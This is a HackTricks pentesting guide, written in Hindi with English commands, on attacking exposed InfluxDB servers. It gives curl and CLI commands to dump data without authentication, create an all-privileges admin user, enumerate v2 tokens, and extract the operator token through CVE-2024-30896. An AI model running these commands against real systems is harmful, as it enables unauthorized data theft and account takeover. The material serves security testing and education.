8086 - Pentesting InfluxDB
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
InfluxDB InfluxData द्वारा विकसित एक ओपन-सोर्स time series database (TSDB) है। TSDBs समय-श्रृंखला डेटा, जो timestamp-value जोड़ों से बनता है, को स्टोर और सर्व करने के लिए अनुकूलित होते हैं। सामान्य प्रयोजन के डेटाबेस की तुलना में, TSDBs time series datasets के लिए भंडारण स्थान और प्रदर्शन में महत्वपूर्ण सुधार प्रदान करते हैं। वे विशेषीकृत कम्प्रेशन एल्गोरिदम का उपयोग करते हैं और पुराने डेटा को स्वचालित रूप से हटाने के लिए कॉन्फ़िगर किए जा सकते हैं। विशेषीकृत डेटाबेस इंडेक्स भी क्वेरी प्रदर्शन को बढ़ाते हैं।
डिफ़ॉल्ट पोर्ट: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
पहचान और संस्करण (HTTP)
- v1.x:
GET /pingस्थिति 204 लौटाता है और हेडर जैसेX-Influxdb-VersionऔरX-Influxdb-Build। - v2.x+:
GET /healthसर्वर संस्करण और स्थिति के साथ JSON लौटाता है। बिना auth के काम करता है।
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
टिप: exposed instances अक्सर Prometheus-style metrics को /metrics पर भी प्रदान करते हैं।
Enumeration
From a pentester point of view यह एक और डेटाबेस है जो संवेदनशील जानकारी स्टोर कर सकता है, इसलिए सारी जानकारी dump करना जानना उपयोगी है।
Authentication
InfluxDB को authentication की आवश्यकता हो सकती है, या नहीं।
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
यदि आपको इस तरह की कोई त्रुटि मिलती है: ERR: unable to parse authentication credentials तो इसका मतलब है कि यह कुछ credentials की उम्मीद कर रहा है।
influx –username influx –password influx_pass
influxdb में एक vulnerability थी जो authentication को bypass करने की अनुमति देती थी: CVE-2019-20933
मैनुअल एनेमरेशन (v1 HTTP API / InfluxQL)
भले ही कोई CLI उपलब्ध न हो, HTTP API आमतौर पर port 8086 पर exposed रहती है।
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
कुछ परीक्षणों में authentication bypass के साथ यह देखा गया कि table का नाम double quotes के बीच होना चाहिए, जैसे:
select * from "cpu"
यदि authentication disabled है, तो आप users भी बना सकते हैं और escalate कर सकते हैं:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
निम्न CLI उदाहरण की जानकारी here से ली गई थी।
Show databases
मिले हुए डेटाबेस telegraf और internal हैं (यह डेटाबेस आपको हर जगह मिल जाएगा)
> show databases
name: databases
name
----
telegraf
_internal
टेबल/measurements दिखाएँ
The InfluxDB documentation बताती है कि InfluxDB में measurements को SQL टेबल्स के समान माना जा सकता है। इन measurements के नाम उनके संबंधित सामग्री को दर्शाते हैं, हर एक में किसी विशिष्ट इकाई से संबंधित डेटा समाहित होता है।
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
कॉलम/फील्ड कीज़ दिखाएँ
फ़ील्ड कीज़ डेटाबेस के कॉलम की तरह होते हैं
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
और अंत में आप dump the table कुछ इस तरह कर सकते हैं:
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x token-based auth और नया API पेश करता है (still on 8086 by default). यदि आप कोई token प्राप्त करते हैं (leaked logs, default deployments, backups) तो आप enumerate कर सकते हैं:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
नोट्स
- v1.8+ के लिए, कुछ v2-compatible endpoints मौजूद हैं (
/api/v2/query,/api/v2/write,/health)। यह तब उपयोगी होता है जब server v1 हो लेकिन v2-style requests स्वीकार करता हो। - v2 में, HTTP
Authorizationheader का स्वरूपToken <value>होना चाहिए।
Automated Enumeration
msf6 > use auxiliary/scanner/http/influxdb_enum
हाल की vulns और privesc जो रुचि के हैं (पिछले वर्षों)
- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). विशिष्ट परिस्थितियों में, एक authenticated उपयोगकर्ता जिसके पास default organization में authorization resource के लिए read access था, वह instance-wide operator token को सूचीबद्ध और प्राप्त कर सकता था (उदा., via
influx auth lsorGET /api/v2/authorizations). उस token के साथ, attacker इंस्टेंस को प्रबंधित कर सकता है (buckets, tokens, users) और orgs के पार सभी डेटा तक पहुँच सकता है. जब उपलब्ध हो तो fixed build में upgrade करें और regular users को default org में न रखें. Quick test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- कई legacy 1.x deployments अभी भी इंटरनेट पर
/queryऔर/writeबिना auth के एक्सपोज़ रहती हैं। अगर auth disabled है, तो आप time-series को मनमर्जी से dump या modify कर सकते हैं; ऊपर दिखाए अनुसार admin users भी बना सकते हैं। CLI आपको ब्लॉक करे तब भी HTTP API से हमेशा verify करें।
संदर्भ
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896: InfluxDB OSS 2.x में operator token का exposure. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

